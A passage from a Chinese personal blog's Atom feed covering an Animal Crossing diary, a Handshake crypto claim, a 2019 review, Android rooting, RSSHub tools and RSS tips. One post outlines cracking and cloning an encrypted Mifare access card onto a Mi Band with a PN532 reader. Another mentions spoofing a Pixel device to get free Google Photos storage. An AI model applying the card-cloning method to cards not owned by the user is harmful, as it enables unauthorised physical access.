    看到银酱家的商店今天在卖抽纸,托他买了一包邮寄过来

    放在家里顿时多了很多生活气息

    晚上继续去 Anakin 家钓鱼,钓到了一只鲨鱼!

    岛上来了摆摊卖衣服的刺猬娟儿

    博物馆开业啦!里面超级大,布置也超级精美,抓到的鱼、虫子、化石都可以放在里面展览

    岛上的第一座桥也完工啦

    第五天 3月23日 新岛民小狗佩林

    昨天把第三笔房贷还完了所以今天扩建了房子,房子多了一个房间,但马上又背上了新的房贷(熟悉的剧情),348000 铃钱!

    小岛迎来了第二名新岛民 —— 小狗佩林,她好像是一名歌手,期待她的歌声!

    吕游又遇难到了我家小岛沙滩,怀疑他被朋友欺凌了…

    巴猎邀请我去他的小岛玩,他开了一家摄影棚,说我可以随意在里面拍照

    昨天来的小熊阿妹送了我一瓶熏香条!

    做了一个衣柜,可以更方便换衣服了

    挖到了金矿石!虽然还不知道有什么用,但肯定很厉害

    钓到了很厉害的皇带鱼和鲷鱼

    第六天 3月24日 新岛民小猫尔光

    服务处终于要搬迁了,明天会暂停营业一天

    小岛搬来了第三名新成员 —— 小猫尔光(尔光、耳光?)

    在门口的花田抓到了一只酷蟑螂

    和邻居聊天

    天佑在八卦 Jemair

    和小霖去珍珠奶猫家抓鱼,看我们玩得多开心

    在珍珠奶猫家钓到了一只超级大的巨骨舌鱼(好奇怪的名字)

    第二天种的水果树已经结果了,现在岛上 5 种水果全齐啦

    第七天 3月25日 看流星雨、骆驼商人、新朋友来信

    早上起床一出门抓到一只蜜蜂(早起的蜜蜂被我抓)

    去商店买了一个爆米花机

    找新岛民收保护费礼物

    中午听小霖说 Rememme 家在下流星雨,赶紧坐飞机去看

    和大家一起向流星许愿,一定会实现的!

    学会了星星棒的制作方法,据说向流星许愿后的第二天可以在沙滩上捡到星星碎片

    晚上去两个 NGA 坛友家找骆驼商人买了两套不可思议壁纸和不可思议地毯

    壁纸和地毯花花绿绿的,会动会发光,很炫酷

    一个叫乐橘乌龙的好友来我家玩,是第一次来,看打扮应该是个小姐姐(不得不说,男孩子和女孩子的穿衣品味差距还是很明显的)

    正好七夏浅梦和珍珠奶猫也在我家,一起欢迎新朋友

    连我家小动物也很欢迎新朋友

    乐橘乌龙回去之后还给我写了一封信,是同事小姐姐!

    给乐橘乌龙回了信

    今天认识了好多可爱的新朋友,我陷入了沉思:这里的大家都那么可爱,是因为可爱的人才会来这个世界,还是因为这个世界让大家变可爱了?

    第八天 3月26日 服务处升级、西施惠、出门到处玩

    一大早狸克宣布服务处升级好了,而且来了一个新员工 —— 西!!施!!惠!!

    狸克想邀请人气歌手 K.K. 来办演唱会,要我建一个露营地

    阿妹真可爱

    前两天种的摇钱树长好啦

    中午去乐橘乌龙家交换了好多好看的新家具,有一些明天才能邮寄到,超级喜欢这张大床,可以滚来滚去!

    晚上去海边玩发现了昨天看流星雨获得的星星

    去小霖家玩,Mitt 也在,一起演奏乐器(小霖没有乐器只能在旁边鼓掌 hhhh)

    合照

    粗粗也来了,再和粗粗照一张

    然后去萨摩家钓鱼,钓到了之前没见过的小龙虾和香鱼

    听说银酱家里在下流星雨,赶紧跑去看,在银酱家的山顶上和银酱、珍珠奶猫一起许愿

    看完流星雨又去了 Rememme 家玩(有时差所以是白天),Mitt 也在

    Rememme 家的企鹅达好可爱

    回家之后又搬了个家,之前没规划好,跟其他岛民住的太远了,现在打算搬到阿妹家旁边

    今天做了好多事啊,真是充实的一天!

    第九天 3月27日 采购了好多壁纸和地板

    早上广播变成了西施惠!醒来第一个见到的人是西施惠而不是狸克真是太棒了 hhhh

    出门发现骆驼商人来我家了,买到了超级好看的云朵壁纸和草莓巧克力地板!昨天跟乐橘乌龙摸来的新家具也到了

    下雨天在石头上抓到了蜗牛

    中午跟乐橘乌龙、小咩、阿年一起互换家具、互逛商店,又买了好多新的壁纸和地板

    在南半球的阿年家抓到了好多没见过的昆虫

    晚上露营地完工啦

    在广场听小猴天佑唱歌,感觉不太行,还需要多练练啊 hhh

    给可爱的阿妹送了一条好看的小裙子,阿妹回送了我一件衬衫,过段时间还要请我吃好吃的,不知道是不是只是客气一下

    在青蛙小睫面前被狼蛛咬了,好丢人

    又挖到一个金矿石嘻嘻

    整理下这两天买到的壁纸和地板,用其中一部分随便搭配了几套组合,感觉最好看的还是今天在自己家买的云朵壁纸和草莓巧克力地板

    第十天 3月28日 新岛民可爱多、开辟花田、攒钱买大头菜

    早上起床给岛民送小礼物

    下午发小可爱多也搬到岛上定居了!

    被壁咚了

    一起钓鱼

    傍晚刺猬娟儿找到我说想在岛上开一家裁缝店

    晚上去乐橘乌龙家买和服,然后给她画了画

    又交换到了一些新家具

    阿妹也加入了唱歌练习,好听好听

    学到了花朵杂交的方法,花朵杂交可以开出好多新的颜色的花,于是按照方法开辟了一个花田,玫瑰、郁金香、百合

    想造一个狼蛛岛抓狼蛛赚钱,明天收购大头菜,但搞了好久一直都没成功,好在这过程中有很多意外收获

    第一次成功抓到黄蜂

    钓到了超级稀有的鲟鱼和锦鲤

    钓了这么多,等明天商店开门卖给商店赚钱,大头菜我来啦

    第十一天 3月29日 梭哈大头菜,我们都有美好的未来!

    今天是大头菜的一天!我家大头菜 104 铃钱有点贵,所以去银酱家以 95 铃钱的单价买了 4000 棵,花了 38 万,买完之后身上只剩 7000 多铃钱了,梭哈梭哈

    等一个 600+ 菜价,我们都有美好的未来!

    在小岛高地发现了稀有的橙色玫瑰花,正好在这里更新下护照照片

    学会了把图片转成我的设计

    晚上去 16.7 家看流星雨,看满了 200 次

    去找西施惠聊天、拍照,西施惠真的太可爱了!

    发现佩林在用我白天刚在广场放的麦克风练歌,佩林这么晚还不睡真是刻苦

    看到阿妹家灯还亮着,去阿妹家做客,阿妹在看书,那我就躺在床上监督阿妹读书吧

    第十二天 3月30日 裁缝屋开张啦

    广场来了一只叫薛革的狐狸(?),继承娟儿在这摆摊卖东西

    害,一点都不好看(才不是因为我梭哈大头菜没钱了)

    裁缝屋开张啦

    裁缝屋的试衣间真是太方便了,虽然没钱还是忍不住配了一套超级仙的衣服

    害,天佑非要找我说话,结果给我传染也打阿嚏了

    第一次捡到大星星碎片,用它做了一个星星棒

    和小霖、Mitt、仕麟一起去 16.7 家看流星雨

    因为打阿嚏被强制隔离了,嘁

    16.7 家今天来了龙克斯,好帅的一条龙,可惜不能抱回家

    第十三天 3月31日 大月亮!!!

    我现在每天跟西施惠打完招呼第一件事就是去裁缝屋买衣服,迫不及待去裁缝屋又搭配了几套好看的衣服

    吕游又又又遇难了

    收摇钱树、跟朋友互换小礼物、去朋友家看流星雨

    最重要的事!今天收获了一个大月亮!!和搭配的云朵地板!!太好看了呜呜呜

    月亮是奶猫拿到的图纸,需要 1 个大星星和 15 个小星星,又找 Mitt 要了一个大星星才做出来,太不容易了,云朵地板是从欧皇 16.7 家的骆驼买到的,终于吸到了欧气

    ]]>
    + + + + <blockquote><p>DIY 对这里的生活绝对有很大的帮助!</p></blockquote><p><img src="/images/ac0.jpg" alt=""></p><p>日记会持续更新,也欢迎加群来我的橙子冰淇淋樱花小提琴岛一起玩: 947956902</p> + + + + + + + +
    + + + 一份特别的开源项目赞助 + + https://diygod.me/handshake/ + 2020-02-20T17:30:28.000Z + 2020-04-07T19:41:20.826Z + +

    七夏姐姐在群里分享了一个帖子链接,大意是 我,Handshake,有钱,撒币 Handshake 特别有钱,现在给 GitHub 上符合要求的开发者送虚拟货币,只要超过 15 个 followers 且上传过 SSH keys 就能领取价值 1000 刀的虚拟货币 HNS,然后可以换成比特币提现

    哼,在各种电商平台和电信诈骗的套路中成长起来的我怎么可能上这种当,肯定不是诈骗就是类似拼多多的 100 元提现的套路,我才不会用我高贵的 GitHub 账号做这种事

    我对七夏姐姐嗤之以鼻

    第二天,我收到了一封垃圾邮件

    让我意识到,这件事情,它可能是真的!

    然后也看到确实有人提现成功了,原来真的有这种好事

    七夏姐姐对我嗤之以鼻

    领取 HNS

    按照 Handshake 官方的说明,生成加密证明、提交到 Handshake 区块链声明 HNS 货币

    最后脚本输出了一个 Base64 字符串,提交给 Handshake,领取 HNS

    等待大约 16 个小时到账

    兑换比特币

    第三天,早上起床发现已经到账了

    准备把 HNS 换成比特币,发现可能受活动影响,这几天 HNS 价格一直在暴跌,从活动刚开始时的 2000 刀,看到帖子时 1000 刀,领取时 700 刀,到账时 600 刀,写这篇文章时只有 400 刀了

    换比特币有两种方式,官方渠道直接兑换和挂在交易所卖出

    直接兑换会少很多,所以我选择了挂在交易所卖

    卖到了 0.06431673 BTC 并转到 OKEX 的 BTC 账户里

    兑换人民币

    最后通过 OKEX 的法币交易卖掉比特币,获得 4370.59 元人民币

    关于这笔钱

    因为领取的要求是 GitHub followers,所以我不会把这笔钱当作理所当然,或者跟其他人一样叫它羊毛,而会把这笔钱看作一份特别的开源项目赞助,它将和其他赞助一起被用于支持我投入更多时间到开源项目中和帮助我早日实现成为全职开源作者的理想

    感谢 Handshake

    ]]>
    + + + + <p><img src="/images/handshake1.jpg" alt=""></p><p>七夏姐姐在群里分享了一个<a href="https://www.v2ex.com/t/645480" target="_blank" rel="noopener">帖子链接</a>,大意是 <del>我,Handshake,有钱,撒币</del> Handshake 特别有钱,现在给 GitHub 上符合要求的开发者送虚拟货币,只要超过 15 个 followers 且上传过 SSH keys 就能领取价值 1000 刀的虚拟货币 HNS,然后可以换成比特币提现</p><p>哼,在各种电商平台和电信诈骗的套路中成长起来的我怎么可能上这种当,肯定不是诈骗就是类似拼多多的 100 元提现的套路,我才不会用我高贵的 GitHub 账号做这种事</p><p>我对七夏姐姐嗤之以鼻 + + + + + +
    + + + 2019 我做了什么 + + https://diygod.me/2019/ + 2020-01-02T23:23:23.000Z + 2020-04-07T19:41:20.826Z + + 2019 已经结束了,在这里回顾一下 2019 我做了什么

    开源

    虽然维护的项目有保持健康的成长,但没有做什么新东西

    RSSHub

    项目总体已经比较稳定了,日常就合一下 pr,修一修小 bug

    朴实无华且枯燥的数据:

    Star 数达到了 10k+

    公共服务 rsshub.app 的月请求量达到了 1 亿+

    RSSHub Radar

    2019 唯一的新项目,让订阅 RSS 源变得更简单

    在少数派写了介绍文章并获得 Matrix 精选:https://sspai.com/post/56079

    朴实无华且枯燥的数据:

    Chrome Web Store 每周用户数 7000+

    2020 打算投入更多的时间在开源项目上,不再怠惰于现有项目的日常维护,而是做一些新东西,(可能)有 DPlayer 重构、Telegram Bot 平台、RSS 客户端等

    非常感谢 2019 期间的开源赞助者们:rixCloud期待荔枝数码快知WeRss面包多LiuyangSayori Studio琚致远Rolly RSS 阅读器、Zuyang、Eternal Proxy 和其他 10 名 Patreon 赞助者和 100 多名一次性赞助者,目前每个月开源赞助收入已经可以占到我总收入的 5%-10%,这帮助了我投入更多的时间到开源项目中,也让我离全职开源作者的理想更近了一步

    足迹

    长途

    日本

    完成了 2018 年终总结里的最大心愿,去日本看了樱花 🌸,9 天自由行,去了大阪、奈良、京都、东京

    2020 打算去俄罗斯的摩尔曼斯克看极光 🌌

    短途

    BILIBILI WORLD
    ChinaJoy
    洛天依×朗朗演唱会
    RSSHub 面基大会
    迪士尼万圣节

    滑稽FHYunCai玩水FreeHenry 等人面了基

    技能

    🤸‍♀️ HIPHOP 街舞:断断续续上了 7 节大课和 7 节私教课,很累但很有趣的一项技能,可能会继续学下去

    📊 记账:从 8 月份开始记账,已经养成习惯了,让我很清楚每个月的钱都花在了哪里

    🎨 画画:偶尔会有画画的冲动,但一直没有行动起来,2020 打算重拾这项技能,目标是每个月画一张

    健康

    年初做了一段时间的 keep,没有坚持下来,但最近沉迷了健身环大冒险,健身计划重燃希望

    2019 又胖了,2020 希望可以在健身环的帮助下减掉 10 斤

    感情

    发小医院的工作很忙,但休息日都会过来一起玩,现在休息日不再那么无聊了,过完年会搬到一起住,还有可能会订婚

    酸奶越来越粘人了,好像一只狗,但是随我越来越胖了,打算给她节食

    游戏

    2019 玩了非常多的游戏,给我增添很多乐趣

    PS4:

    《地平线:零之曙光》:最佳,Twitter1 Twitter2
    《怪物猎人:世界》&《怪物猎人世界:冰原》:最佳,我还录了几个游戏实况,但是没什么人看,Twitter
    《底特律:变人》
    《最后生还者》
    《巫师3:狂猎》
    《非常英雄》
    《毛线小精灵2》

    Switch:

    《健身环大冒险》:最佳
    《塞尔达传说》
    《马力欧和索尼克在 2020 东京奥运会》
    《宝可梦盾》
    《俄罗斯方块99》
    《八方旅人》

    但自己玩游戏还是有点孤独,所以建了一个一起玩游戏的 QQ 群:947956902,欢迎加入

    影视

    电视剧:

    2019 好多质量爆炸的剧,最佳很难选,4 个并列吧

    《去他妈的世界》:最佳
    《长安十二时辰》:最佳,Twitter
    《爱,死亡和机器人》:最佳
    《亿万》:最佳
    《权力的游戏》:烂尾烂尾烂尾烂尾,气死我了,Twitter
    《我,到点下班》
    《切尔诺贝利》
    《全裸导演》
    《兔子共和国》
    《李尸朝鲜》
    《性爱自修室》
    《血疫》

    番剧:

    不知道是我眼光变了还是业界真的药丸,2019 很少有能看得下去的番

    《鬼灭之刃》:最佳,毋庸置疑的 2019 霸权番,吹爆,没看的赶紧看
    《青春猪头少年不会梦到怀梦美少女》
    《约定的梦幻岛》
    《多罗罗》
    《动物狂想曲 / BEASTARS》
    《笨拙之极的上野》
    《流汗吧!健身少女》

    部分电影:

    电影太多了所以只挑几个印象深刻的

    《哪吒之魔童降世》:最佳,我先哭为敬 Twitter
    《调音师》:仅次于哪吒
    《半个喜剧》
    《海上钢琴师》
    《少年的你》
    《千与千寻》
    《阿丽塔:战斗天使》
    《疯狂的外星人》
    《流浪地球》
    《银翼杀手》
    《香肠派对》

    阅读

    看书尝试了一个月,尽力了,还是没能成功养成习惯,2020 顺其自然

    《写给大家看的设计书》
    《断舍离》
    《三体》
    《一只特立独行的猪》

    最后

    本命年过得惊人的顺利,也大致完成了去年的目标「让自己变得充实有趣起来」,希望 2020 继续保持,同时可以完成上面的几个小目标就更好了,呐

    ]]>
    + + + + <p>2019 已经结束了,在这里回顾一下 2019 我做了什么 + + + + + + + +
    + + + 我家 Android 初养成 + + https://diygod.me/android/ + 2019-11-24T02:13:22.000Z + 2020-04-07T19:41:20.826Z + + 最近把用了两年的 iPhone X 换成了 Redmi K20 Pro,体验一下 Android 自由香甜的空气

    解锁 Bootloader

    小米手机出厂都是锁 Bootloader 的,需要到官网下载解锁工具解锁

    刷机、ROOT 都需要解锁 Bootloader,这是折腾所有东西的第一步

    所以我一拿到手机第一件事就是兴冲冲地连接电脑、下载解锁工具、运行解锁程序:

    游戏结束

    ———————————————————————

    7 天后:

    刷入 TWRP

    Recovery 是安卓的恢复系统,类似 Windows 的 PEmacOS 的恢复功能,可以用来系统升级和重置手机

    刷入第三方的 Recovery 可以获得更多的功能,比如 Root 和 刷入第三方 ROM

    其中 TWRP 是一个著名的开源 Recovery 映像,在 TWRP 官网搜索 Redmi K20 可以看到 TWRP 官方已经提供了对 Redmi K20 Pro 的支持

    但是因为这篇文章咕咕太久了,我刷 TWRP 的时候官方还没有支持 Redmi K20 Pro,我用的是一位国内开发者 wzsx150 适配的 TWRP 映像

    wzsx150 团队提供了非常方便的一键刷入工具,打开 recovery-twrp一键刷入工具

    根据提示下一步下一步

    期间手机重启一次,再启动自动进入了 TWRP,证明刷入成功

    刷入 Magisk

    Magisk 是一个兼具稳定性和可玩性的神器:作为一个 Root 方案,它能不破坏系统实现无痛 OTA,作为一个插件扩展平台,它又能提供丰富的自定义模块来满足多样化的定制需求

    参考阅读:少数派 - 每个 Android 玩家都不可错过的神器

    Magisk 同样也是开源项目,在 GitHub 上下载最新版的 Magisk 安装包导入手机中,然后点击 TWRP 的 安装 按钮,找到 Magisk 安装包,就可以刷入了

    重启系统后,会发现桌面多了一个 Magisk Manager,证明刷入成功

    Magisk

    前面准备了那么多,终于可以安装 Magisk 模块了,Magisk 模块非常丰富,网上资料也很多,所以这里只介绍一下我使用的几个模块

    筑紫A丸:全局替换系统字体,字体名叫筑紫A丸ゴシック,效果就如图所示,很可爱,介绍和下载在这里

    Google Lens Enabler:欺骗 Google 相册这个设备是一台 Pixel 设备,来开启 Google 智能镜头的功能,然后还有一个重要的额外效果:让 Google 相册拥有无限空间

    Riru - Core:Riru 是一个系列模块,使用 Riru 模块都需要先安装 Riru - Core

    Riru - Storage Redirect:存储重定向,几乎所有的 Android 应用都会在我们的手机中储存信息,为此,Android 系统提供了 /datasdcard/Android/data 这两个目录来进行应用数据文件存放,遗憾的是,很多应用开发者并不会遵从这个规范,这让手机内部储存目录显得极为杂乱且文件管理效率低下,使用 Storage Redirect 能很好地解决上述问题,它将散落于各处的应用私有文件夹重新定位到指定的位置,这里有它的官方介绍和文档

    Tai Chi:太极模块,见下一节

    太极

    介绍太极要先从 Xposed 框架开始

    很多人都对 Xposed 的大名有所耳闻,它通过对系统框架的偷天换日,可以修改系统与应用的各种数据,籍此实现无数种可能性,同时也大大地提升了 Android 系统的可玩性,而且有比 Magisk 更丰富的模块

    但是 Xposed 框架没有像 Android 系统版本一样能够快速的更新,最新版本停留在了 Android 8.0/8.1 beta3 版本,对于 Android 9.0/10.0 用户,只能选择第三方实现,现在常用的有太极Edxposed 两种方案

    我一开始装的是 Edxposed,但是貌似跟 MIUI 11 有兼容性问题无法使用,所以换了太极

    下面是我使用的几个模块:

    大圣净化和去你大爷的内置浏览器非常香

    Google 相机

    Redmi K20 Pro 支持 Camera2 API,所以不需要额外折腾就可以安装 Google 相机

    国内开发者阿狗酱有分享专门为 Redmi K20 Pro 调教的谷歌相机

    得益于 HDR+ 算法,提升非常明显,Google 真的太强了

    MIUI 自带相机 vs Google 相机

    iPhone 11 自带相机 vs Google 相机

    综上所述,Android 上很多黑科技确实很香,但整个系统的精致程度、设计感、人性化和软件生态还是跟 iOS 有非常大的差距,这让我痛苦地适应了一个多星期才开始慢慢可以接受,要不是拼多多拆封不给退我可能第二天就换回 iPhone 了

    但一旦接受了这种设定,香

    ]]>
    + + + + <p>最近把用了两年的 iPhone X 换成了 Redmi K20 Pro,体验一下 Android 自由香甜的空气</p><p><img style="width:100%;max-width:300px" src="/images/android1.jpg"></p> + + + + + + + +
    + + + RSSHub Radar — 订阅一个 RSS 源不应该这么难 + + https://diygod.me/rsshub-radar/ + 2019-08-06T11:40:33.000Z + 2020-04-07T19:41:20.826Z + +

    如果你问我,RSSHub 能否改变 RSS 的命运,我也不晓得,但我晓得,不认命,就是 RSSHub 的命。 ——《哪吒之魔童降世》

    如果你还不知道 RSS:《我有特别的 RSS 使用技巧》
    如果你还不知道 RSSHub:《通过 RSSHub 订阅不支持 RSS 的网站》

    首先最大的 respect 献给 RSSHub 的 244 名参与者

    订阅一个 RSS 源太难了

    首先需要网站提供了 RSS(这一前提通常就无法满足);然后我们要随缘在页面中找到 RSS 链接;然后复制链接、打开如 Feedly Inoreader 的 RSS 服务、点击添加订阅、粘贴链接、添加

    看,顺利订阅一个 RSS 源需要天时(随缘找到了 RSS)地利(网站提供了 RSS)人和(不因为订阅步骤过于麻烦而中途放弃),缺一不可

    都 9102 年了,世界不应该这样

    解决这个问题

    为了解决这个问题,RSSHub Radar 诞生了

    Chrome Web Store | GitHub

    RSSHub Radar 是 RSSHub 的衍生项目,她是一个可以帮助你快速发现和订阅当前网站 RSS 和 RSSHub 的浏览器扩展

    使用很简单,我们在进入一个新页面时,RSSHub Radar 会自动检测当前页面有没有 RSS 和 RSSHub 支持,检测到则会在右下角显示一个角标,如果我们想订阅当前页面的 RSS,点击扩展图标,会弹出一个列表,如图所示,列表有三项内容:当前页面上的 RSS、适用于当前页面的 RSSHub、适用于当前网站的 RSSHub,你可以选择复制链接或一键订阅到 Feedly Inoreader TinyTinyRSS

    设置页允许你使用自建的 RSSHub 域名、设置快捷键、立即更新规则、选择一键订阅到 TinyTinyRSS 还是 Feedly Inoreader、选择是否开启角标提醒等

    支持列表列出了当前支持的 RSSHub 规则

    RSSHub Radar 是如何工作的

    RSSHub Radar 是开源的,你可以直接去 GitHub 看源码

    当我们进入一个新页面时,RSSHub Radar 开始检测当前页面的 RSS 和 RSSHub

    当前页面自带的 RSS

    分析页面中的每个链接显然是不现实的,好在标准中指定了一种特殊 MIME 类型的 link 标签来指明 RSS 链接,link[type="application/rss+xml"]link[type="application/atom+xml"],RSSHub Radar 正是通过这个标签来检测页面是否有自带 RSS,具体实现在这里

    适用于当前页面的 RSSHub

    使用给定规则,根据当前页面的 URL 或 DOM 来获取 RSSHub 链接,规则各个字段的具体含义见文档,具体实现在这里

    每隔 5 个小时从 GitHub 远程更新一次规则

    一键订阅

    Feedly Inoreader TinyTinyRSS 都提供了用于订阅的接口,不同的是 Feedly 需要进入页面确认一下,而另外两个会直接订阅上

    比如访问这个 URL 可以快速使用 Feedly 订阅我的博客(需要点 FOLLOW 确认):
    https://feedly.com/i/subscription/feed/https://diygod.me/atom.xml

    这个 URL 可以快速使用 Inoreader 订阅我的博客:
    https://www.inoreader.com/feed/https://diygod.me/atom.xml

    参与我们

    如果你对 RSSHub 感兴趣,欢迎参与支持我们

    最后祝哪吒票房破 50 亿,还没看的一定要去看嗷!

    ]]>
    + + + + <p><img src="/images/rsshub-radar5.jpg" alt=""></p><blockquote><p>如果你问我,RSSHub 能否改变 RSS 的命运,我也不晓得,但我晓得,不认命,就是 RSSHub 的命。 ——《哪吒之魔童降世》</p></blockquote><p>如果你还不知道 RSS:<a href="https://diygod.me/ohmyrss/">《我有特别的 RSS 使用技巧》</a><br>如果你还不知道 RSSHub:<a href="https://sspai.com/post/47100" target="_blank" rel="noopener">《通过 RSSHub 订阅不支持 RSS 的网站》</a></p><p>首先最大的 respect 献给 RSSHub 的 <a href="https://docs.rsshub.app/#contributors" target="_blank" rel="noopener">244 名参与者</a></p><h2 id="订阅一个-RSS-源太难了"><a href="#订阅一个-RSS-源太难了" class="headerlink" title="订阅一个 RSS 源太难了"></a>订阅一个 RSS 源太难了</h2><p>首先需要网站提供了 RSS(这一前提通常就无法满足);然后我们要随缘在页面中找到 RSS 链接;然后复制链接、打开如 Feedly Inoreader 的 RSS 服务、点击添加订阅、粘贴链接、添加</p><p>看,顺利订阅一个 RSS 源需要天时(随缘找到了 RSS)地利(网站提供了 RSS)人和(不因为订阅步骤过于麻烦而中途放弃),缺一不可</p><p>都 9102 年了,世界不应该这样</p> + + + + + + + +
    + + + 小米手环 4 NFC 模拟加密卡探索 + + https://diygod.me/pn532/ + 2019-06-28T01:06:12.000Z + 2020-04-07T19:41:20.826Z + + 小米手环 4 NFC 版一发售就迫不及待找黄牛买了一只

    手环的 NFC 主要有三个功能:小爱同学、公交卡、模拟门禁卡

    结果手环的小爱同学很难用,功能缺失、反应慢还老骂我,上海公交也不支持,门禁卡顿时成为了全村人的希望,正好我有两个门禁卡,试着模拟一下吧

    这 NFC 一事无成,像极了人生

    第一张是 ID 卡,铁定没救了,希望全在第二张加密 IC 卡上,为了拯救鸡肋的 NFC,我到淘宝买了一个 NFC 读写器 PN532

    把加密卡放到 PN532 上读取数据

    使用 MifareOne Tool 解卡

    解卡失败…根据网上的说法可能是 PN532 过热导致的,那么哪里最凉快呢?

    冰箱

    经过漫长的等待,成功了

    得到加密卡数据

    然后把其中的 0 扇区 0 区块数据写入一张空白卡

    然后再把空白卡的数据写入手环

    这时候手环上就有卡了,但是里面只有 0 扇区 0 区块数据,这时候再把剩下的数据写到手环里就好了

    验证:对比原卡和手环卡的数据,


    只有 0 扇区 0 区块的部分数据(厂商号)不同,且 15 扇区的加密数据相同,说明已经模拟成功

    NFC 终于没白买

    ]]>
    + + + + <p>小米手环 4 NFC 版一发售就迫不及待找黄牛买了一只</p><p>手环的 NFC 主要有三个功能:小爱同学、公交卡、模拟门禁卡</p><p>结果手环的小爱同学很难用,功能缺失、反应慢<a href="https://twitter.com/DIYgod/status/1141718298658086913" target="_blank" rel="noopener">还老骂我</a>,上海公交也不支持,门禁卡顿时成为了全村人的希望,正好我有两个门禁卡,试着模拟一下吧</p><p><img src="/images/pn5321.jpg" alt=""></p><p>这 NFC 一事无成,像极了人生</p> + + + + + + + +
    + + + 优雅地下载我的B站投币视频 + + https://diygod.me/download-webhook/ + 2019-06-02T16:51:16.000Z + 2020-04-07T19:41:20.826Z + + 下载B站视频很简单,you-get 一行命令的事,但我已经懒到命令都不想输了,如果投币之后 NAS 可以自己去下载就好了

    设想

    整个设想是这样的:投币操作 -> RSS 更新 -> IFTTT 触发 Webhook -> 服务器下载

    投币到 RSS 更新可以直接用 RSSHub 实现,RSS 更新到触发 Webhook 也可以直接在 IFTTT 里配置,整个多米诺骨牌就只缺少 Webhook 到下载这一块

    行动

    于是写了一个简单的小工具 —— download-webhook,它可以通过一个简单的 post 请求,触发服务器执行 you-get,下载视频到指定目录

    效果

    1. 给咬人猫投币

    2. RSS 更新

    3. IFTTT 触发

    4. download-webhook 收到下载请求

    5. 下载完成

    进一步

    以上同样适用于自动下载 YouTube \ Instagram \ Tumblr 视频、网易云音乐歌曲等,只要 RSSHub 和 you-get 支持

    另外对于图片,Webhook URL 参数直接传入图片地址也可以下载,所以也可以轻松实现自动下载 Bing 每日壁纸、甚至 Telegram 的涩图频道(这里就不做推荐了)

    ]]>
    + + + + <p>下载B站视频很简单,you-get 一行命令的事,但我已经懒到命令都不想输了,如果投币之后 NAS 可以自己去下载就好了 + + + + + + + +
    + + + 我有特别的 RSS 使用技巧 + + https://diygod.me/ohmyrss/ + 2019-05-13T18:37:13.000Z + 2020-04-07T19:41:20.826Z + + 大家都知道 RSS 是一种用来消息聚合的格式规范,有着更高的阅读效率、更好的阅读体验、可以掌握主动权等等优点。

    本文不会介绍 RSS 的各种好处和各式各样的阅读器,因为相关网络资料已经足够多了。这里我介绍一下怎样充分挖掘 RSS 的使用价值,因为它的用途一直被大家低估。

    阅读器

    从最简单的开始,我们可以看看如何用 RSS 订阅一个博客。

    假设你想订阅世界上最可爱的博客 Hi, DIYgod,巧的是它已经很贴心地提供了 RSS 地址,你只需要找一个适合自己的 RSS 阅读器。

    这里有几个推荐:

    iOS 和 macOS 平台 - Reeder

    Android 平台 - Palabre 和 FeedMe

    打开阅读器,输入链接,点击订阅

    我们便学会了 RSS 最基础的使用方法。

    云服务

    这时候你可能会发现一些问题。

    只有一直开着电脑或手机才能获取到更新,如果勤劳的 DIYgod 一天更新了 100 篇文章,而 RSS 的输出数量是有限的,等一天后再开电脑,这时候阅读器刷新,你只能看到最新的几篇了(当然 DIYgod 不可能一天更新 100 篇,这个例子不是很好)。

    还有,你同时在手机和电脑上订阅了 DIYgod,在电脑上看完,手机上还是未读状态,如果订阅了很多内容,这会很糟糕。

    所以我们需要一个服务端来同步和刷新 RSS 内容。

    其中用的人数最多的是 Feedly 和 Inoreader。

    它们固然很好,但我更推荐功能更强自由度更高的自建 Tiny Tiny RSS

    自建不仅可以使数据更可控,它还有丰富的插件可以满足各种各样的需求,比如全文内容提取、Fever API 模拟、DOM 操控、繁体转简体。上面提到的阅读器都可以配合它使用。

    RSSHub

    看起来很美好,但提供 RSS 订阅的网站实在是太少了,原因很好理解:RSS 不利于网站方的广告投放、隐私搜集、用户存留等商业行为。

    我们当然不满于此,于是我发起了 RSSHub 项目,项目原理很简单:RSSHub 请求你想要的源站数据,然后把它们以 RSS 格式输出,做到了万物皆可 RSS。

    经过近 200 名开发者历时一年多的活跃开发,RSSHub 已经支持了 300 多个网站的近 600 种数据,而且这些数字还在快速增长中。

    这里分享一部分我常用的路由:

    • 什么值得买排行榜:谨慎订阅,它浪费了我不少钱

    • 各种老婆的手办更新:闭着眼买就完事了

    • 微小微和猫饼的 bilibili 动态

    • DIYgod 关注视频动态:DIYgod 关注的 UP 主们的动态,不用刷很蠢的 B 站动态了

    • JFlaMusic 的 Youtube 视频

    • Dcard 论坛:一个超级有趣的台湾论坛,适合配合 Tiny Tiny RSS 的繁体转简体插件使用

    • PlayStation Store 会员限免游戏:再也不怕忘记领免费游戏(虽然领了也不会玩)

    • RSSHub 有新路由啦

    • himitsu 的 Twitter 动态:NSFW

    • 发小的微博:不会再因为错过发小的微博被骂了

    • 即刻工作日闹钟设置提醒

    • 公众号“微小微”更新

    • 豆瓣正在上映的超过 7.5 分的电影

    • 知乎热榜

    BT 下载

    假设你是一个美剧爱好者,我们可以看看如何用 RSS 来追权利的游戏第 8 季。

    RSSHub 有一些支持 BT 下载的路由,比如权利的游戏字幕组源订阅地址为:https://rsshub.app/zimuzu/resource/10733,接着我们加一个 filter 参数过滤出第 8 季内容:https://rsshub.app/zimuzu/resource/10733?filter=S08

    然后挑选一个正常的 BT 客户端(迅雷不算),我用的是群晖的 Download Station。

    把地址添加到 BT 客户端的 RSS 订阅,这样美剧更新后 BT 客户端就会自动把最新一集下载到硬盘里,晚上下班回家打开电视就可以直接看了。

    最近我订阅的美剧和日剧

    获取到更新并下载完成群晖会发邮件告诉我

    播客

    假设你是一个播客爱好者,我们可以看看如何用 RSS 来扩充你的播客库。

    播客客户端可以访问 RSS 检查更新,以下载系列中新的集数收听,RSSHub 或 getpodcast 有一些支持播客的 RSS 可以直接使用,比如用 iOS 自带的播客应用订阅一个网易云音乐的 ASMR 电台:

    联动

    RSS 可以通过 IFTTT 跟各种奇奇怪怪的东西联动。

    其中一个使用案例是我的 Telegram 频道:https://t.me/awesomeDIYgod,它通过 IFTTT 监听了很多 RSS 更新,有 DIYgod 的博客更新、DIYgod 的扇贝打卡、DIYgod 的 Twitter 更新、DIYgod 喜欢的网易云音乐、DIYgod 的 bilibili 投币视频…

    这样你甚至可以很容易实现通过 RSS 控制开关灯、咕咕鸡自动打印小姐姐的微博、把权利的游戏差评自动发推特艾特编剧等等操作,虽然可能没什么用就是了。

    6 月 2 日更新:

    一次优秀的联动:《优雅地下载我的B站投币视频》

     

